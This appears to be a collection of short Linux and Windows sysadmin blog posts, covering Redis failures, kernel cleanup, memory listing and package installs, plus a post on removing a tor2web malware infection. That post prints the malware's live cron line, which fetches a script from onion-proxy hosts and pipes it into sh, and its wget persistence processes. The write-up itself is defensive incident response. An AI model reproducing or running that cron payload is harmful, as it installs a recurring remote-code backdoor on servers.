Categories
Uncategorized

Bad bots list – few more in 2019

AhrefsBot/6.1;
evc-batch/2.0)”
spider/4.0
Qwantify/2.4w;
DomainSigmaCrawler/0.1;
Mappy/1.0;
SemrushBot/6~bl;
Nimbostratus-Bot/v1.3.2;
SemrushBot-SI/0.97;
coccocbot-image/1.0;
SemrushBot/1.0~bm;
SEOkicks;
houzzbot;
GrapeshotCrawler/2.0;
MegaIndex.ru/2.0;
YandexImageResizer/2.0;
coccocbot-web/1.0;
TinEye-bot/1.31;
YandexImages/3.0;
Pinterestbot/1.0;
MJ12bot/v1.4.8;
SeznamBot/3.2;
DotBot/1.1;
bingbot/2.0;
YandexBot/3.0;
BLEXBot/1.0;

Categories
Uncategorized

[Solved] Connection to Redis failed after x failures Client.php Credis_Client->connect

Issue:-

 

[[email protected] ~]# cd /home/the-d2/public_html/var/report/
[[email protected] report]# cat 118233337366
a:4:{i:0;s:44:"Connection to Redis failed after 2 failures.";i:1;s:1529:"#0 /home/the-d2/public_html/lib/Credis/Client.php(362): Credis_Client->connect()
#1 /home/the-d2/public_html/lib/Credis/Client.php(447): Credis_Client->connect()
#2 /home/the-d2/public_html/lib/Credis/Client.php(440): Credis_Client->__call('select', Array)
#3 /home/the-d2/public_html/lib/Cm/Cache/Backend/Redis.php(117): Credis_Client->select(0)
#4 /home/the-d2/public_html/lib/Zend/Cache.php(153): Cm_Cache_Backend_Redis->__construct(Array)
#5 /home/the-d2/public_html/lib/Zend/Cache.php(94): Zend_Cache::_makeBackend('Cm_Cache_Backen...', Array, true, true)
#6 /home/the-d2/public_html/app/code/core/Mage/Core/Model/Cache.php(137): Zend_Cache::factory('Varien_Cache_Co...', 'Cm_Cache_Backen...', Array, Array, true, true, true)
#7 /home/the-d2/public_html/app/code/core/Mage/Core/Model/Config.php(1354): Mage_Core_Model_Cache->__construct(Array)
#8 /home/the-d2/public_html/app/Mage.php(463): Mage_Core_Model_Config->getModelInstance('core/cache', Array)
#9 /home/the-d2/public_html/app/code/core/Mage/Core/Model/App.php(401): Mage::getModel('core/cache', Array)
#10 /home/the-d2/public_html/app/code/core/Mage/Core/Model/App.php(295): Mage_Core_Model_App->_initCache(Array)
#11 /home/the-d2/public_html/app/code/core/Mage/Core/Model/App.php(337): Mage_Core_Model_App->baseInit(Array)
#12 /home/the-d2/public_html/app/Mage.php(684): Mage_Core_Model_App->run(Array)
#13 /home/the-d2/public_html/index.php(98): Mage::run('', 'store')
#14 {main}";s:3:"url";s:1:"/";s:11:"script_name";s:10:"/index.php";}

[[email protected] report]# redis-cli flushall
Could not connect to Redis at 127.0.0.1:6379: Connection refused

[[email protected] report]# service redis status
Redirecting to /bin/systemctl status redis.service
● redis.service - Redis persistent key-value database
Loaded: loaded (/usr/lib/systemd/system/redis.service; enabled; vendor preset: disabled)
Drop-In: /etc/systemd/system/redis.service.d
└─limit.conf
Active: failed (Result: exit-code) since Wed 2019-10-27 22:47:11 IST; 9min ago
Process: 29554 ExecStop=/usr/libexec/redis-shutdown (code=exited, status=1/FAILURE)
Process: 15882 ExecStart=/usr/bin/redis-server /etc/redis.conf --supervised systemd (code=killed, signal=KILL)
Main PID: 15882 (code=killed, signal=KILL)

Oct 27 22:47:11 server.the-d2.com systemd[1]: redis.service: main process exited, code=killed, status=9/KILL
Oct 27 22:47:11 server.the-d2.com redis-shutdown[29554]: Could not connect to Redis at 127.0.0.1:6379: Connection refused
Oct 27 22:47:11 server.the-d2.com systemd[1]: redis.service: control process exited, code=exited status=1
Oct 27 22:47:11 server.the-d2.com systemd[1]: Unit redis.service entered failed state.
Oct 27 22:47:11 server.the-d2.com systemd[1]: redis.service failed.

 

Solution:-  Restart redis service then check memory bottleneck cause

[[email protected] report]# service redis restart
Redirecting to /bin/systemctl restart redis.service
[[email protected] report]# service redis status
Redirecting to /bin/systemctl status redis.service
● redis.service - Redis persistent key-value database
Loaded: loaded (/usr/lib/systemd/system/redis.service; enabled; vendor preset: disabled)
Drop-In: /etc/systemd/system/redis.service.d
└─limit.conf
Active: active (running) since Wed 2019-10-27 22:56:12 IST; 1s ago
Process: 29554 ExecStop=/usr/libexec/redis-shutdown (code=exited, status=1/FAILURE)
Main PID: 3416 (redis-server)
CGroup: /system.slice/redis.service
└─3416 /usr/bin/redis-server 127.0.0.1:6379

Oct 27 22:56:12 server.the-d2.com systemd[1]: Starting Redis persistent key-value database...
Oct 27 22:56:12 server.the-d2.com systemd[1]: Started Redis persistent key-value database.

 

 

Categories
Uncategorized

Basic Packages for a fresh installed Ubuntu 16 / 18 / 19

sudo apt-get update
sudo apt-get install shutter vlc vim screen wget -y
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i --force-depends google-chrome-stable_current_amd64.deb
sudo apt-get install -f
wget https://linux.palemoon.org/datastore/release/pminstaller-0.2.4.tar.bz2
bunzip2 pminstaller-0.2.4.tar.bz2
tar xvf pminstaller-0.2.4.tar
bash pminstaller.sh
rm -fr README pminstaller* google-chrome-stable_current_amd64.deb

 

Categories
Uncategorized

List of Processes consuming most of the RAM/Memory with ps command – Linux

This command will list the processes which are consuming most of the RAM. I am using ‘head -n 10‘ to list only top 10 memory intense process. You may remove it from the last.
Command:-

ps -eo size,pid,user,command --sort -size | awk '{ hr=$1/1024 ; printf("%13.2f Mb ",hr) } { for ( x=4 ; x<=NF ; x++ ) { printf("%s ",$x) } print "" }' | head -n 10

 

5312.29 Mb /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mysqld.log --pid-file=/var/lib/mysql/server.the-d2.com.pid --socket=/var/lib/mysql/mysql.sock
1060.39 Mb /usr/bin/node /home/the-d2/public_html/main.js
426.16 Mb /usr/bin/clamscan -
363.12 Mb memcached -d -p 11211 -u memcached -m 1024 -c 1024 -P /var/run/memcached/memcached.pid -l 127.0.0.1
223.23 Mb /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
54.77 Mb /usr/libexec/webmin/virtual-server/lookup-domain-daemon.pl
23.51 Mb lfd - sleeping
16.94 Mb /usr/bin/php-cgi
16.25 Mb /usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.conf
16.25 Mb /usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.conf
16.25 Mb /usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.conf
16.25 Mb /usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.conf
16.25 Mb /usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.conf
16.25 Mb /usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.conf
16.11 Mb /usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.conf

 

 

Memory intense process
High Memory consuming process

 

Categories
Uncategorized

WSUS and SUP – Windows Server Update Services / Software Update Point

WSUS:-
Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates.

What it is ? >>> https://www.youtube.com/watch?v=LkeGluvR6C8

Install and Configure WSUS in Windows Server 2012 R2 > https://www.youtube.com/watch?v=Rb4Rl8VrP6U
=======

SUP:-
Software Update Point

What it is ? >> http://info.adaptivedge.com/blog/understanding-sccm-sup-process

Setup > https://www.youtube.com/watch?v=JeEjYUdhYEQ

Categories
Uncategorized

Huge waste disk space – Remove Multiple Old kernels worth 3GB (Total 116 packages)

But keep the current or latest one.

Reading state information… Done
The following packages will be REMOVED:
liblua5.1-0 linux-headers-4.10.0-38 linux-headers-4.10.0-38-generic linux-headers-4.10.0-40 linux-headers-4.10.0-40-generic linux-headers-4.10.0-42 linux-headers-4.10.0-42-generic
linux-headers-4.13.0-26 linux-headers-4.13.0-26-generic linux-headers-4.13.0-31 linux-headers-4.13.0-31-generic linux-headers-4.13.0-32 linux-headers-4.13.0-32-generic linux-headers-4.13.0-36
linux-headers-4.13.0-36-generic linux-headers-4.13.0-37 linux-headers-4.13.0-37-generic linux-headers-4.13.0-38 linux-headers-4.13.0-38-generic linux-headers-4.13.0-39 linux-headers-4.13.0-39-generic
linux-headers-4.13.0-41 linux-headers-4.13.0-41-generic linux-headers-4.13.0-43 linux-headers-4.13.0-43-generic linux-headers-4.13.0-45 linux-headers-4.13.0-45-generic linux-headers-4.15.0-24
linux-headers-4.15.0-24-generic linux-headers-4.15.0-29 linux-headers-4.15.0-29-generic linux-headers-4.15.0-30 linux-headers-4.15.0-30-generic linux-headers-4.15.0-32 linux-headers-4.15.0-32-generic
linux-headers-4.15.0-33 linux-headers-4.15.0-33-generic linux-headers-4.15.0-34 linux-headers-4.15.0-34-generic linux-headers-4.15.0-36 linux-headers-4.15.0-36-generic linux-headers-4.15.0-39
linux-headers-4.15.0-39-generic linux-headers-4.15.0-42 linux-headers-4.15.0-42-generic linux-headers-4.15.0-43 linux-headers-4.15.0-43-generic linux-headers-4.15.0-45 linux-headers-4.15.0-45-generic
linux-headers-4.15.0-46 linux-headers-4.15.0-46-generic linux-headers-4.15.0-47 linux-headers-4.15.0-47-generic linux-headers-4.15.0-50 linux-headers-4.15.0-50-generic linux-headers-4.15.0-52
linux-headers-4.15.0-52-generic linux-image-4.10.0-38-generic linux-image-4.10.0-40-generic linux-image-4.10.0-42-generic linux-image-4.13.0-26-generic linux-image-4.13.0-31-generic
linux-image-4.13.0-32-generic linux-image-4.13.0-36-generic linux-image-4.13.0-37-generic linux-image-4.13.0-38-generic linux-image-4.13.0-39-generic linux-image-4.13.0-41-generic
linux-image-4.13.0-43-generic linux-image-4.13.0-45-generic linux-image-4.15.0-24-generic linux-image-4.15.0-29-generic linux-image-4.15.0-30-generic linux-image-4.15.0-32-generic
linux-image-4.15.0-33-generic linux-image-4.15.0-34-generic linux-image-4.15.0-36-generic linux-image-4.15.0-39-generic linux-image-4.15.0-42-generic linux-image-4.15.0-43-generic
linux-image-4.15.0-45-generic linux-image-4.15.0-46-generic linux-image-4.15.0-47-generic linux-image-4.15.0-50-generic linux-image-4.15.0-52-generic linux-modules-4.15.0-24-generic
linux-modules-4.15.0-29-generic linux-modules-4.15.0-30-generic linux-modules-4.15.0-32-generic linux-modules-4.15.0-33-generic linux-modules-4.15.0-34-generic linux-modules-4.15.0-36-generic
linux-modules-4.15.0-39-generic linux-modules-4.15.0-42-generic linux-modules-4.15.0-43-generic linux-modules-4.15.0-45-generic linux-modules-4.15.0-46-generic linux-modules-4.15.0-47-generic
linux-modules-4.15.0-50-generic linux-modules-4.15.0-52-generic
0 upgraded, 0 newly installed, 100 to remove and 139 not upgraded.
After this operation, 4,462 MB disk space will be freed.
Do you want to continue? [Y/n]

[email protected]:~# dpkg -l | grep kernel
ii kmod 22-1ubuntu5 amd64 tools for managing Linux kernel modules
ii libaio1:amd64 0.3.110-2 amd64 Linux kernel AIO access library – shared library
ii libdrm2:amd64 2.4.76-1~ubuntu16.04.1 amd64 Userspace interface to kernel DRM services — runtime
ii linux-headers-4.10.0-38 4.10.0-38.42~16.04.1 all Header files related to Linux kernel version 4.10.0
ii linux-headers-4.10.0-38-generic 4.10.0-38.42~16.04.1 amd64 Linux kernel headers for version 4.10.0 on 64 bit x86 SMP
ii linux-headers-4.10.0-40 4.10.0-40.44~16.04.1 all Header files related to Linux kernel version 4.10.0
ii linux-headers-4.10.0-40-generic 4.10.0-40.44~16.04.1 amd64 Linux kernel headers for version 4.10.0 on 64 bit x86 SMP
ii linux-headers-4.10.0-42 4.10.0-42.46~16.04.1 all Header files related to Linux kernel version 4.10.0
ii linux-headers-4.10.0-42-generic 4.10.0-42.46~16.04.1 amd64 Linux kernel headers for version 4.10.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-26 4.13.0-26.29~16.04.2 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-26-generic 4.13.0-26.29~16.04.2 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-31 4.13.0-31.34~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-31-generic 4.13.0-31.34~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-32 4.13.0-32.35~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-32-generic 4.13.0-32.35~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-36 4.13.0-36.40~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-36-generic 4.13.0-36.40~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-37 4.13.0-37.42~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-37-generic 4.13.0-37.42~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-38 4.13.0-38.43~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-38-generic 4.13.0-38.43~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-39 4.13.0-39.44~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-39-generic 4.13.0-39.44~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-41 4.13.0-41.46~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-41-generic 4.13.0-41.46~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-43-generic 4.13.0-43.48~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.13.0-45 4.13.0-45.50~16.04.1 all Header files related to Linux kernel version 4.13.0
ii linux-headers-4.13.0-45-generic 4.13.0-45.50~16.04.1 amd64 Linux kernel headers for version 4.13.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-24 4.15.0-24.26~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-24-generic 4.15.0-24.26~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-29 4.15.0-29.31~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-29-generic 4.15.0-29.31~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-30 4.15.0-30.32~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-30-generic 4.15.0-30.32~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-32 4.15.0-32.35~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-32-generic 4.15.0-32.35~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-33 4.15.0-33.36~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-33-generic 4.15.0-33.36~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-34 4.15.0-34.37~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-34-generic 4.15.0-34.37~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-36 4.15.0-36.39~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-36-generic 4.15.0-36.39~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-39 4.15.0-39.42~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-39-generic 4.15.0-39.42~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-42 4.15.0-42.45~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-42-generic 4.15.0-42.45~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-43 4.15.0-43.46~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-43-generic 4.15.0-43.46~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-45 4.15.0-45.48~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-45-generic 4.15.0-45.48~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-46 4.15.0-46.49~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-46-generic 4.15.0-46.49~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-47 4.15.0-47.50~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-47-generic 4.15.0-47.50~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-50 4.15.0-50.54~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-50-generic 4.15.0-50.54~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-51 4.15.0-51.55~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-51-generic 4.15.0-51.55~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-52 4.15.0-52.56~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-52-generic 4.15.0-52.56~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-54 4.15.0-54.58~16.04.1 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-54-generic 4.15.0-54.58~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-4.15.0-55 4.15.0-55.60~16.04.2 all Header files related to Linux kernel version 4.15.0
ii linux-headers-4.15.0-55-generic 4.15.0-55.60~16.04.2 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
ii linux-headers-generic-hwe-16.04 4.15.0.55.76 amd64 Generic Linux kernel headers
ii linux-headers-virtual-hwe-16.04 4.15.0.55.76 amd64 Virtual Linux kernel headers
ii linux-image-4.10.0-38-generic 4.10.0-38.42~16.04.1 amd64 Linux kernel image for version 4.10.0 on 64 bit x86 SMP
ii linux-image-4.10.0-40-generic 4.10.0-40.44~16.04.1 amd64 Linux kernel image for version 4.10.0 on 64 bit x86 SMP
ii linux-image-4.10.0-42-generic 4.10.0-42.46~16.04.1 amd64 Linux kernel image for version 4.10.0 on 64 bit x86 SMP
ii linux-image-4.13.0-26-generic 4.13.0-26.29~16.04.2 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-31-generic 4.13.0-31.34~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-32-generic 4.13.0-32.35~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-36-generic 4.13.0-36.40~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-37-generic 4.13.0-37.42~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-39-generic 4.13.0-39.44~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-41-generic 4.13.0-41.46~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-43-generic 4.13.0-43.48~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.13.0-45-generic 4.13.0-45.50~16.04.1 amd64 Linux kernel image for version 4.13.0 on 64 bit x86 SMP
ii linux-image-4.15.0-24-generic 4.15.0-24.26~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-29-generic 4.15.0-29.31~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-30-generic 4.15.0-30.32~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-32-generic 4.15.0-32.35~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-33-generic 4.15.0-33.36~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-34-generic 4.15.0-34.37~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-36-generic 4.15.0-36.39~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-39-generic 4.15.0-39.42~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-42-generic 4.15.0-42.45~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-43-generic 4.15.0-43.46~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-45-generic 4.15.0-45.48~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-46-generic 4.15.0-46.49~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-47-generic 4.15.0-47.50~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-50-generic 4.15.0-50.54~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-51-generic 4.15.0-51.55~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-52-generic 4.15.0-52.56~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-54-generic 4.15.0-54.58~16.04.1 amd64 Signed kernel image generic
ii linux-image-4.15.0-55-generic 4.15.0-55.60~16.04.2 amd64 Signed kernel image generic
ii linux-image-virtual-hwe-16.04 4.15.0.55.76 amd64 Virtual Linux kernel image
ii linux-modules-4.15.0-24-generic 4.15.0-24.26~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-29-generic 4.15.0-29.31~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-30-generic 4.15.0-30.32~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-32-generic 4.15.0-32.35~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-33-generic 4.15.0-33.36~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-34-generic 4.15.0-34.37~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-36-generic 4.15.0-36.39~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-39-generic 4.15.0-39.42~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-42-generic 4.15.0-42.45~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-43-generic 4.15.0-43.46~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-45-generic 4.15.0-45.48~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-46-generic 4.15.0-46.49~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-47-generic 4.15.0-47.50~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-50-generic 4.15.0-50.54~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-51-generic 4.15.0-51.55~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-52-generic 4.15.0-52.56~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-54-generic 4.15.0-54.58~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-modules-4.15.0-55-generic 4.15.0-55.60~16.04.2 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
ii linux-virtual-hwe-16.04 4.15.0.55.76 amd64 Minimal Generic Linux kernel and headers
ii rsyslog 8.16.0-1ubuntu3 amd64 reliable system and kernel logging daemon
[email protected]:~#

Categories
Uncategorized

[Solved] an7kmd2wp4xo7hpr.tor2web.su Malicious Processes/Crons – Linux

1. Malicious Processes

A. Identify the processes and the its URL name, in below case its an7kmd2wp4xo7hpr.tor2web.su
B. Use command ps aux

root 26561 0.0 0.0 139556 4392 ? S Aug20 0:00 wget --quiet --no-check-certificate --connect-timeout=26 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /etc/cron.monthly/cron
root 28777 0.0 0.0 139556 4384 ? S Aug21 0:00 wget --quiet --no-check-certificate --connect-timeout=26 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /etc/cron.monthly/cron
root 24990 0.0 0.0 106076 1380 ? Ss 20:56 0:00 /bin/sh -c R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/d
root 24991 0.0 0.0 106076 1380 ? Ss 20:56 0:00 /bin/sh -c R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/d
root 24992 0.0 0.0 106076 1376 ? Ss 20:56 0:00 /bin/sh -c R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/d

2. Malicious Crons

A. Now use the same URL name and grep it in whole server
B. Command is below
[[email protected] ~]# grep -rli an7kmd2wp4xo7hpr    /
/etc/cron.d/root
/etc/cron.monthly/cronlog
/etc/crontab

[[email protected] ~]# cat /etc/cron.d/root
*/7 * * * * root R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;done;fi;G2="wget";if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "to <[email protected]>" && G2="$f" && break;done;fi;if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;fi; C=" -fsSLk --connect-timeout 26 --max-time 75 ";W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";H="https://an7kmd2wp4xo7hpr";T1=".tor2web.su/";T2=".d2web.org/";T3=".onion.sh/";P="src/ldm";($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &

[[email protected] ~]# cat /etc/crontab
*/7 * * * * root R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;done;fi;G2="wget";if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "to <[email protected]>" && G2="$f" && break;done;fi;if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;fi; C=" -fsSLk --connect-timeout 26 --max-time 75 ";W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";H="https://an7kmd2wp4xo7hpr";T1=".tor2web.su/";T2=".d2web.org/";T3=".onion.sh/";P="src/ldm";($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &

 

Solutions:-

A. Remove the malicious codes from crons or wherever you find and for the time being, put chattr on them as well
B. chattr +i /etc/cron.d/root ; chattr +i /etc/crontab
C.
- Change root password instantly
- Remove all Authorized keys from all users which is not yours

ls -lahd /home/*/.ssh/auth*
ls -lahd /root/.ssh/auth*

- ClamAV - Antivirus
- Maldet - Malware Detector
- Restricting SSH from particular IPs/VPN
- Restricting MySQL from particular IPs/VPN
- CSF Firewall
- LFD Login Failure Daemon
- WAF Web Application Firewall
- ModSecurity with HTTP/Apache
- Avoid using MySQL root user pass in Application code and create a non root mysql user.
- Proper permissions and ownership of code files like of 755 for dirs and 644 for files.
- Non standard SSH port

 

Categories
Uncategorized

Play VLC Playlist (xspf) with command line CLI – The Big Bang Theory (TBBT)

